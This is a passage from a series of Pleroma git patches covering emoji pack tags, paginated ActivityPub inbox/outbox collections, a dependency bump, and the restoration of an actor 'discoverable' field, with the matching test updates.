[%{href: "https://example.com/nodeinfo/2.1.json"}]}) %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> json(%{metadata: %{features: ["shareable_emoji_packs"]}}) @@ -77,13 +77,13 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do mock(fn %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> - json([%{href: "https://old-instance/nodeinfo/2.1.json"}]) + json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> json(%{metadata: %{features: []}}) %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> - json([%{href: "https://example.com/nodeinfo/2.1.json"}]) + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> json(%{metadata: %{features: ["shareable_emoji_packs"]}}) From 1fd9c60f8706441d38eb4c17417df80e3cf220b1 Mon Sep 17 00:00:00 2001 From: Ekaterina Vaartis Date: Tue, 24 Sep 2019 22:20:48 +0300 Subject: [PATCH 25/33] Fix emoji tags for shareable packs to be "pack:{name}" --- lib/pleroma/emoji/loader.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index a29de0a33..4f4ee51d1 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -99,7 +99,7 @@ defmodule Pleroma.Emoji.Loader do contents["files"] |> Enum.map(fn {name, rel_file} -> filename = Path.join("/emoji/#{pack_name}", rel_file) - {name, filename, pack_name} + {name, filename, ["pack:#{pack_name}"]} end) else # Load from emoji.txt / all files From d87be2ec96912b147ad8fb6b17c1ee00d7d30a7f Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 25 Sep 2019 15:59:04 +0300 Subject: [PATCH 26/33] Don't embed the first page in inboxes/outboxes and refactor the views to follow View/Controller pattern Note that I mentioned the change in 1.1 section because I intend to backport this, if this is not needed I will move it back to Unreleased. --- CHANGELOG.md | 1 + lib/pleroma/web/activity_pub/activity_pub.ex | 2 +- .../activity_pub/activity_pub_controller.ex | 70 ++++++++++++++-- .../web/activity_pub/views/user_view.ex | 83 +++---------------- .../activity_pub_controller_test.exs | 6 +- .../web/activity_pub/views/user_view_test.exs | 16 +++- 6 files changed, 90 insertions(+), 88 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 649fbc0be..2d6ddd5d6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -44,6 +44,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Improve digest email template – Pagination: (optional) return `total` alongside with `items` when paginating - Add `rel="ugc"` to all links in statuses, to prevent SEO spam +- ActivityPub: The first page in inboxes/outboxes is no longer embedded. ### Fixed - Following from Osada diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 1cf8b6151..a97afa665 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -834,7 +834,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do defp restrict_muted_reblogs(query, _), do: query - defp exclude_poll_votes(query, %{"include_poll_votes" => "true"}), do: query + defp exclude_poll_votes(query, %{"include_poll_votes" => true}), do: query defp exclude_poll_votes(query, _) do if has_named_binding?(query, :object) do diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 9eb86106f..c3e7edf57 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -231,13 +231,42 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do end end - def outbox(conn, %{"nickname" => nickname} = params) do + def outbox(conn, %{"nickname" => nickname, "page" => page?} = params) + when page? in [true, "true"] do + with %User{} = user <- User.get_cached_by_nickname(nickname), + {:ok, user} <- User.ensure_keys_present(user), + activities <- + (if params["max_id"] do + ActivityPub.fetch_user_activities(user, nil, %{ + "max_id" => params["max_id"], + # This is a hack because postgres generates inefficient queries when filtering by 'Answer', + # poll votes will be hidden by the visibility filter in this case anyway + "include_poll_votes" => true, + "limit" => 10 + }) + else + ActivityPub.fetch_user_activities(user, nil, %{ + "limit" => 10, + "include_poll_votes" => true + }) + end) do + conn + |> put_resp_content_type("application/activity+json") + |> put_view(UserView) + |> render("activity_collection_page.json", %{ + activities: activities, + iri: "#{user.ap_id}/outbox" + }) + end + end + + def outbox(conn, %{"nickname" => nickname}) do with %User{} = user <- User.get_cached_by_nickname(nickname), {:ok, user} <- User.ensure_keys_present(user) do conn |> put_resp_content_type("application/activity+json") |> put_view(UserView) - |> render("outbox.json", %{user: user, max_id: params["max_id"]}) + |> render("activity_collection.json", %{iri: "#{user.ap_id}/outbox"}) end end @@ -315,12 +344,37 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do def read_inbox( %{assigns: %{user: %{nickname: nickname} = user}} = conn, - %{"nickname" => nickname} = params - ) do - conn - |> put_resp_content_type("application/activity+json") - |> put_view(UserView) - |> render("inbox.json", user: user, max_id: params["max_id"]) + %{"nickname" => nickname, "page" => page?} = params + ) + when page? in [true, "true"] do + with activities <- + (if params["max_id"] do + ActivityPub.fetch_activities([user.ap_id | user.following], %{ + "max_id" => params["max_id"], + "limit" => 10 + }) + else + ActivityPub.fetch_activities([user.ap_id | user.following], %{"limit" => 10}) + end) do + conn + |> put_resp_content_type("application/activity+json") + |> put_view(UserView) + |> render("activity_collection_page.json", %{ + activities: activities, + iri: "#{user.ap_id}/inbox" + }) + end + end + + def read_inbox(%{assigns: %{user: %{nickname: nickname} = user}} = conn, %{ + "nickname" => nickname + }) do + with {:ok, user} <- User.ensure_keys_present(user) do + conn + |> put_resp_content_type("application/activity+json") + |> put_view(UserView) + |> render("activity_collection.json", %{iri: "#{user.ap_id}/inbox"}) + end end def read_inbox(%{assigns: %{user: nil}} = conn, %{"nickname" => nickname}) do diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex index 352d856fa..5dbb5992f 100644 --- a/lib/pleroma/web/activity_pub/views/user_view.ex +++ b/lib/pleroma/web/activity_pub/views/user_view.ex @@ -8,7 +8,6 @@ defmodule Pleroma.Web.ActivityPub.UserView do alias Pleroma.Keys alias Pleroma.Repo alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Transmogrifier alias Pleroma.Web.ActivityPub.Utils alias Pleroma.Web.Endpoint @@ -210,20 +209,16 @@ defmodule Pleroma.Web.ActivityPub.UserView do |> Map.merge(Utils.make_json_ld_header()) end - def render("outbox.json", %{user: user, max_id: max_qid}) do - params = %{ - "limit" => "10" + def render("activity_collection.json", %{iri: iri}) do + %{ + "id" => iri, + "type" => "OrderedCollection", + "first" => "#{iri}?page=true" } + |> Map.merge(Utils.make_json_ld_header()) + end - params = - if max_qid != nil do - Map.put(params, "max_id", max_qid) - else - params - end - - activities = ActivityPub.fetch_user_activities(user, nil, params) - + def render("activity_collection_page.json", %{activities: activities, iri: iri}) do # this is sorted chronologically, so first activity is the newest (max) {max_id, min_id, collection} = if length(activities) > 0 do @@ -243,71 +238,15 @@ defmodule Pleroma.Web.ActivityPub.UserView do } end - iri = "#{user.ap_id}/outbox" - page = %{ - "id" => "#{iri}?max_id=#{max_id}", + "id" => "#{iri}?max_id=#{max_id}&page=true", "type" => "OrderedCollectionPage", "partOf" => iri, "orderedItems" => collection, - "next" => "#{iri}?max_id=#{min_id}" + "next" => "#{iri}?max_id=#{min_id}&page=true" } - if max_qid == nil do - %{ - "id" => iri, - "type" => "OrderedCollection", - "first" => page - } - |> Map.merge(Utils.make_json_ld_header()) - else - page |> Map.merge(Utils.make_json_ld_header()) - end - end - - def render("inbox.json", %{user: user, max_id: max_qid}) do - params = %{ - "limit" => "10" - } - - params = - if max_qid != nil do - Map.put(params, "max_id", max_qid) - else - params - end - - activities = ActivityPub.fetch_activities([user.ap_id | user.following], params) - - min_id = Enum.at(Enum.reverse(activities), 0).id - max_id = Enum.at(activities, 0).id - - collection = - Enum.map(activities, fn act -> - {:ok, data} = Transmogrifier.prepare_outgoing(act.data) - data - end) - - iri = "#{user.ap_id}/inbox" - - page = %{ - "id" => "#{iri}?max_id=#{max_id}", - "type" => "OrderedCollectionPage", - "partOf" => iri, - "orderedItems" => collection, - "next" => "#{iri}?max_id=#{min_id}" - } - - if max_qid == nil do - %{ - "id" => iri, - "type" => "OrderedCollection", - "first" => page - } - |> Map.merge(Utils.make_json_ld_header()) - else - page |> Map.merge(Utils.make_json_ld_header()) - end + page |> Map.merge(Utils.make_json_ld_header()) end def collection(collection, iri, page, show_items \\ true, total \\ nil) do diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index 9e8e420ec..ab52044ae 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -479,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do conn |> assign(:user, user) |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/inbox") + |> get("/users/#{user.nickname}/inbox?page=true") assert response(conn, 200) =~ note_object.data["content"] end @@ -567,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do conn = conn |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox") + |> get("/users/#{user.nickname}/outbox?page=true") assert response(conn, 200) =~ note_object.data["content"] end @@ -579,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do conn = conn |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox") + |> get("/users/#{user.nickname}/outbox?page=true") assert response(conn, 200) =~ announce_activity.data["object"] end diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs index 78b0408ee..3155749aa 100644 --- a/test/web/activity_pub/views/user_view_test.exs +++ b/test/web/activity_pub/views/user_view_test.exs @@ -159,7 +159,7 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do end end - test "outbox paginates correctly" do + test "activity collection page aginates correctly" do user = insert(:user) posts = @@ -171,13 +171,21 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do # outbox sorts chronologically, newest first, with ten per page posts = Enum.reverse(posts) - %{"first" => %{"next" => next_url}} = - UserView.render("outbox.json", %{user: user, max_id: nil}) + %{"next" => next_url} = + UserView.render("activity_collection_page.json", %{ + iri: "#{user.ap_id}/outbox", + activities: Enum.take(posts, 10) + }) next_id = Enum.at(posts, 9).id assert next_url =~ next_id - %{"next" => next_url} = UserView.render("outbox.json", %{user: user, max_id: next_id}) + %{"next" => next_url} = + UserView.render("activity_collection_page.json", %{ + iri: "#{user.ap_id}/outbox", + activities: Enum.take(Enum.drop(posts, 10), 10) + }) + next_id = Enum.at(posts, 19).id assert next_url =~ next_id end From 1ddd403339655674ca634a876151c4346c87c515 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 25 Sep 2019 13:20:48 +0000 Subject: [PATCH 27/33] Apply suggestion to lib/pleroma/web/activity_pub/activity_pub_controller.ex --- .../activity_pub/activity_pub_controller.ex | 33 ++++++++++--------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index c3e7edf57..aa1620009 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -234,22 +234,23 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do def outbox(conn, %{"nickname" => nickname, "page" => page?} = params) when page? in [true, "true"] do with %User{} = user <- User.get_cached_by_nickname(nickname), - {:ok, user} <- User.ensure_keys_present(user), - activities <- - (if params["max_id"] do - ActivityPub.fetch_user_activities(user, nil, %{ - "max_id" => params["max_id"], - # This is a hack because postgres generates inefficient queries when filtering by 'Answer', - # poll votes will be hidden by the visibility filter in this case anyway - "include_poll_votes" => true, - "limit" => 10 - }) - else - ActivityPub.fetch_user_activities(user, nil, %{ - "limit" => 10, - "include_poll_votes" => true - }) - end) do + {:ok, user} <- User.ensure_keys_present(user) do + activities = + if params["max_id"] do + ActivityPub.fetch_user_activities(user, nil, %{ + "max_id" => params["max_id"], + # This is a hack because postgres generates inefficient queries when filtering by 'Answer', + # poll votes will be hidden by the visibility filter in this case anyway + "include_poll_votes" => true, + "limit" => 10 + }) + else + ActivityPub.fetch_user_activities(user, nil, %{ + "limit" => 10, + "include_poll_votes" => true + }) + end + conn |> put_resp_content_type("application/activity+json") |> put_view(UserView) From c7d8ccd0c417aab59253a446ed0ffc973448536e Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 25 Sep 2019 16:26:47 +0300 Subject: [PATCH 28/33] Remove useless with clause --- .../activity_pub/activity_pub_controller.ex | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index aa1620009..60abe1e1d 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -348,23 +348,23 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do %{"nickname" => nickname, "page" => page?} = params ) when page? in [true, "true"] do - with activities <- - (if params["max_id"] do - ActivityPub.fetch_activities([user.ap_id | user.following], %{ - "max_id" => params["max_id"], - "limit" => 10 - }) - else - ActivityPub.fetch_activities([user.ap_id | user.following], %{"limit" => 10}) - end) do - conn - |> put_resp_content_type("application/activity+json") - |> put_view(UserView) - |> render("activity_collection_page.json", %{ - activities: activities, - iri: "#{user.ap_id}/inbox" - }) - end + activities = + if params["max_id"] do + ActivityPub.fetch_activities([user.ap_id | user.following], %{ + "max_id" => params["max_id"], + "limit" => 10 + }) + else + ActivityPub.fetch_activities([user.ap_id | user.following], %{"limit" => 10}) + end + + conn + |> put_resp_content_type("application/activity+json") + |> put_view(UserView) + |> render("activity_collection_page.json", %{ + activities: activities, + iri: "#{user.ap_id}/inbox" + }) end def read_inbox(%{assigns: %{user: %{nickname: nickname} = user}} = conn, %{ From f2880d7d29836b16ae6825fbda85c21496fc42b5 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 25 Sep 2019 16:36:46 +0300 Subject: [PATCH 29/33] Credo considered harmful --- lib/pleroma/web/activity_pub/activity_pub_controller.ex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 60abe1e1d..8112f6642 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -239,8 +239,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do if params["max_id"] do ActivityPub.fetch_user_activities(user, nil, %{ "max_id" => params["max_id"], - # This is a hack because postgres generates inefficient queries when filtering by 'Answer', - # poll votes will be hidden by the visibility filter in this case anyway + # This is a hack because postgres generates inefficient queries when filtering by + # 'Answer', poll votes will be hidden by the visibility filter in this case anyway "include_poll_votes" => true, "limit" => 10 }) From f92d7d52c20e951d31f0dedc16bde3aeb6687374 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 25 Sep 2019 13:38:45 +0000 Subject: [PATCH 30/33] Apply suggestion to lib/pleroma/web/activity_pub/views/user_view.ex --- lib/pleroma/web/activity_pub/views/user_view.ex | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex index 5dbb5992f..4e37be5db 100644 --- a/lib/pleroma/web/activity_pub/views/user_view.ex +++ b/lib/pleroma/web/activity_pub/views/user_view.ex @@ -238,15 +238,14 @@ defmodule Pleroma.Web.ActivityPub.UserView do } end - page = %{ + %{ "id" => "#{iri}?max_id=#{max_id}&page=true", "type" => "OrderedCollectionPage", "partOf" => iri, "orderedItems" => collection, "next" => "#{iri}?max_id=#{min_id}&page=true" } - - page |> Map.merge(Utils.make_json_ld_header()) + |> Map.merge(Utils.make_json_ld_header()) end def collection(collection, iri, page, show_items \\ true, total \\ nil) do From dd4263da5a93a022ba7c46fb1cb4687f8cb1c790 Mon Sep 17 00:00:00 2001 From: Maksim Date: Wed, 25 Sep 2019 17:47:22 +0000 Subject: [PATCH 31/33] Apply suggestion to test/tasks/instance_test.exs --- test/tasks/instance_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index a3b0dcb50..6d7eed4c1 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -10,7 +10,7 @@ defmodule Pleroma.InstanceTest do on_exit(fn -> File.rm_rf(tmp_path()) - static_dir = Pleroma.Config.get([:instance, :static_dir], "instance/static/") + static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") if File.exists?(static_dir) do File.rm_rf(Path.join(static_dir, "robots.txt")) From b057f2ae9e12558efd2b1ff78afa2fa11106b695 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Wed, 25 Sep 2019 23:16:35 +0200 Subject: [PATCH 32/33] mix.lock: Bump hackney to 1.15.2 Closes: https://git.pleroma.social/pleroma/pleroma/issues/1267 --- mix.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mix.lock b/mix.lock index 24b34c09c..530fbb0b4 100644 --- a/mix.lock +++ b/mix.lock @@ -39,7 +39,7 @@ "gen_stage": {:hex, :gen_stage, "0.14.2", "6a2a578a510c5bfca8a45e6b27552f613b41cf584b58210f017088d3d17d0b14", [:mix], [], "hexpm"}, "gen_state_machine": {:hex, :gen_state_machine, "2.0.5", "9ac15ec6e66acac994cc442dcc2c6f9796cf380ec4b08267223014be1c728a95", [:mix], [], "hexpm"}, "gettext": {:hex, :gettext, "0.17.0", "abe21542c831887a2b16f4c94556db9c421ab301aee417b7c4fbde7fbdbe01ec", [:mix], [], "hexpm"}, - "hackney": {:hex, :hackney, "1.15.1", "9f8f471c844b8ce395f7b6d8398139e26ddca9ebc171a8b91342ee15a19963f4", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.4", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"}, + "hackney": {:hex, :hackney, "1.15.2", "07e33c794f8f8964ee86cebec1a8ed88db5070e52e904b8f12209773c1036085", [:rebar3], [{:certifi, "2.5.1", [hex: :certifi, repo: "hexpm", optional: false]}, {:idna, "6.0.0", [hex: :idna, repo: "hexpm", optional: false]}, {:metrics, "1.0.1", [hex: :metrics, repo: "hexpm", optional: false]}, {:mimerl, "~>1.1", [hex: :mimerl, repo: "hexpm", optional: false]}, {:ssl_verify_fun, "1.1.5", [hex: :ssl_verify_fun, repo: "hexpm", optional: false]}], "hexpm"}, "html_entities": {:hex, :html_entities, "0.4.0", "f2fee876858cf6aaa9db608820a3209e45a087c5177332799592142b50e89a6b", [:mix], [], "hexpm"}, "html_sanitize_ex": {:hex, :html_sanitize_ex, "1.3.0", "f005ad692b717691203f940c686208aa3d8ffd9dd4bb3699240096a51fa9564e", [:mix], [{:mochiweb, "~> 2.15", [hex: :mochiweb, repo: "hexpm", optional: false]}], "hexpm"}, "http_signatures": {:git, "https://git.pleroma.social/pleroma/http_signatures.git", "293d77bb6f4a67ac8bde1428735c3b42f22cbb30", [ref: "293d77bb6f4a67ac8bde1428735c3b42f22cbb30"]}, @@ -84,7 +84,7 @@ "quantum": {:hex, :quantum, "2.3.4", "72a0e8855e2adc101459eac8454787cb74ab4169de6ca50f670e72142d4960e9", [:mix], [{:calendar, "~> 0.17", [hex: :calendar, repo: "hexpm", optional: true]}, {:crontab, "~> 1.1", [hex: :crontab, repo: "hexpm", optional: false]}, {:gen_stage, "~> 0.12", [hex: :gen_stage, repo: "hexpm", optional: false]}, {:swarm, "~> 3.3", [hex: :swarm, repo: "hexpm", optional: false]}, {:timex, "~> 3.1", [hex: :timex, repo: "hexpm", optional: true]}], "hexpm"}, "ranch": {:hex, :ranch, "1.7.1", "6b1fab51b49196860b733a49c07604465a47bdb78aa10c1c16a3d199f7f8c881", [:rebar3], [], "hexpm"}, "recon": {:git, "https://github.com/ferd/recon.git", "75d70c7c08926d2f24f1ee6de14ee50fe8a52763", [tag: "2.4.0"]}, - "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.4", "f0eafff810d2041e93f915ef59899c923f4568f4585904d010387ed74988e77b", [:make, :mix, :rebar3], [], "hexpm"}, + "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.5", "6eaf7ad16cb568bb01753dbbd7a95ff8b91c7979482b95f38443fe2c8852a79b", [:make, :mix, :rebar3], [], "hexpm"}, "swarm": {:hex, :swarm, "3.4.0", "64f8b30055d74640d2186c66354b33b999438692a91be275bb89cdc7e401f448", [:mix], [{:gen_state_machine, "~> 2.0", [hex: :gen_state_machine, repo: "hexpm", optional: false]}, {:libring, "~> 1.0", [hex: :libring, repo: "hexpm", optional: false]}], "hexpm"}, "sweet_xml": {:hex, :sweet_xml, "0.6.6", "fc3e91ec5dd7c787b6195757fbcf0abc670cee1e4172687b45183032221b66b8", [:mix], [], "hexpm"}, "swoosh": {:hex, :swoosh, "0.23.2", "7dda95ff0bf54a2298328d6899c74dae1223777b43563ccebebb4b5d2b61df38", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm"}, From 5fb72170a72e61f0b8035fba63b7bbdff7acde05 Mon Sep 17 00:00:00 2001 From: Hakaba Hitoyo Date: Thu, 26 Sep 2019 02:57:41 +0000 Subject: [PATCH 33/33] Revert "add _discoverable_ keyword into ActivityPub @context" This reverts commit 3aef4bdf8f37efd1055a84c5fca12ec4559a17f5. --- CHANGELOG.md | 1 + lib/pleroma/user/info.ex | 8 ++++++-- lib/pleroma/web/activity_pub/activity_pub.ex | 4 +++- lib/pleroma/web/activity_pub/views/user_view.ex | 3 ++- .../controllers/mastodon_api_controller.ex | 3 ++- lib/pleroma/web/mastodon_api/views/account_view.ex | 6 +++++- priv/static/schemas/litepub-0.1.jsonld | 1 + test/web/mastodon_api/views/account_view_test.exs | 12 +++++++++--- 8 files changed, 29 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2d6ddd5d6..a853a6913 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -109,6 +109,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Admin API: Added moderation log - Web response cache (currently, enabled for ActivityPub) - Mastodon API: Added an endpoint to get multiple statuses by IDs (`GET /api/v1/statuses/?ids[]=1&ids[]=2`) +- ActivityPub: Add ActivityPub actor's `discoverable` parameter. ### Changed - Configuration: Filter.AnonymizeFilename added ability to retain file extension with custom text diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex index 99745f496..1d0f0c7f4 100644 --- a/lib/pleroma/user/info.ex +++ b/lib/pleroma/user/info.ex @@ -54,6 +54,7 @@ defmodule Pleroma.User.Info do field(:pleroma_settings_store, :map, default: %{}) field(:fields, {:array, :map}, default: nil) field(:raw_fields, {:array, :map}, default: []) + field(:discoverable, :boolean, default: false) field(:notification_settings, :map, default: %{ @@ -277,7 +278,8 @@ defmodule Pleroma.User.Info do :hide_follows_count, :follower_count, :fields, - :following_count + :following_count, + :discoverable ]) |> validate_fields(true) end @@ -295,6 +297,7 @@ defmodule Pleroma.User.Info do :hide_follows, :fields, :hide_followers, + :discoverable, :hide_followers_count, :hide_follows_count ]) @@ -318,7 +321,8 @@ defmodule Pleroma.User.Info do :skip_thread_containment, :fields, :raw_fields, - :pleroma_settings_store + :pleroma_settings_store, + :discoverable ]) |> validate_fields() end diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index ff29efd43..8d0a57623 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -1001,6 +1001,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do locked = data["manuallyApprovesFollowers"] || false data = Transmogrifier.maybe_fix_user_object(data) + discoverable = data["discoverable"] || false user_data = %{ ap_id: data["id"], @@ -1009,7 +1010,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do source_data: data, banner: banner, fields: fields, - locked: locked + locked: locked, + discoverable: discoverable }, avatar: avatar, name: data["name"], diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex index 4e37be5db..993307287 100644 --- a/lib/pleroma/web/activity_pub/views/user_view.ex +++ b/lib/pleroma/web/activity_pub/views/user_view.ex @@ -106,7 +106,8 @@ defmodule Pleroma.Web.ActivityPub.UserView do }, "endpoints" => endpoints, "attachment" => fields, - "tag" => (user.info.source_data["tag"] || []) ++ emoji_tags + "tag" => (user.info.source_data["tag"] || []) ++ emoji_tags, + "discoverable" => user.info.discoverable } |> Map.merge(maybe_make_image(&User.avatar_url/2, "icon", user)) |> Map.merge(maybe_make_image(&User.banner_url/2, "image", user)) diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index bb81b061e..239cfac9f 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -153,7 +153,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do :hide_follows, :hide_favorites, :show_role, - :skip_thread_containment + :skip_thread_containment, + :discoverable ] |> Enum.reduce(%{}, fn key, acc -> add_if_present(acc, params, to_string(key), key, fn value -> diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 195dd124b..a23aeea9b 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -116,6 +116,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do bio = HTML.filter_tags(user.bio, User.html_filter_policy(opts[:for])) relationship = render("relationship.json", %{user: opts[:for], target: user}) + discoverable = user.info.discoverable + %{ id: to_string(user.id), username: username_from_nickname(user.nickname), @@ -139,7 +141,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do note: HTML.strip_tags((user.bio || "") |> String.replace("
", "\n")), sensitive: false, fields: raw_fields, - pleroma: %{} + pleroma: %{ + discoverable: discoverable + } }, # Pleroma extension diff --git a/priv/static/schemas/litepub-0.1.jsonld b/priv/static/schemas/litepub-0.1.jsonld index 57ed05eba..6e4bb29b1 100644 --- a/priv/static/schemas/litepub-0.1.jsonld +++ b/priv/static/schemas/litepub-0.1.jsonld @@ -11,6 +11,7 @@ "@id": "ostatus:conversation", "@type": "@id" }, + "discoverable": "toot:discoverable", "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", "ostatus": "http://ostatus.org#", "schema": "http://schema.org", diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 6206107f7..f2f334992 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -67,7 +67,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do source: %{ note: "valid html", sensitive: false, - pleroma: %{}, + pleroma: %{ + discoverable: false + }, fields: [] }, pleroma: %{ @@ -137,7 +139,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do source: %{ note: user.bio, sensitive: false, - pleroma: %{}, + pleroma: %{ + discoverable: false + }, fields: [] }, pleroma: %{ @@ -310,7 +314,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do source: %{ note: user.bio, sensitive: false, - pleroma: %{}, + pleroma: %{ + discoverable: false + }, fields: [] }, pleroma: %{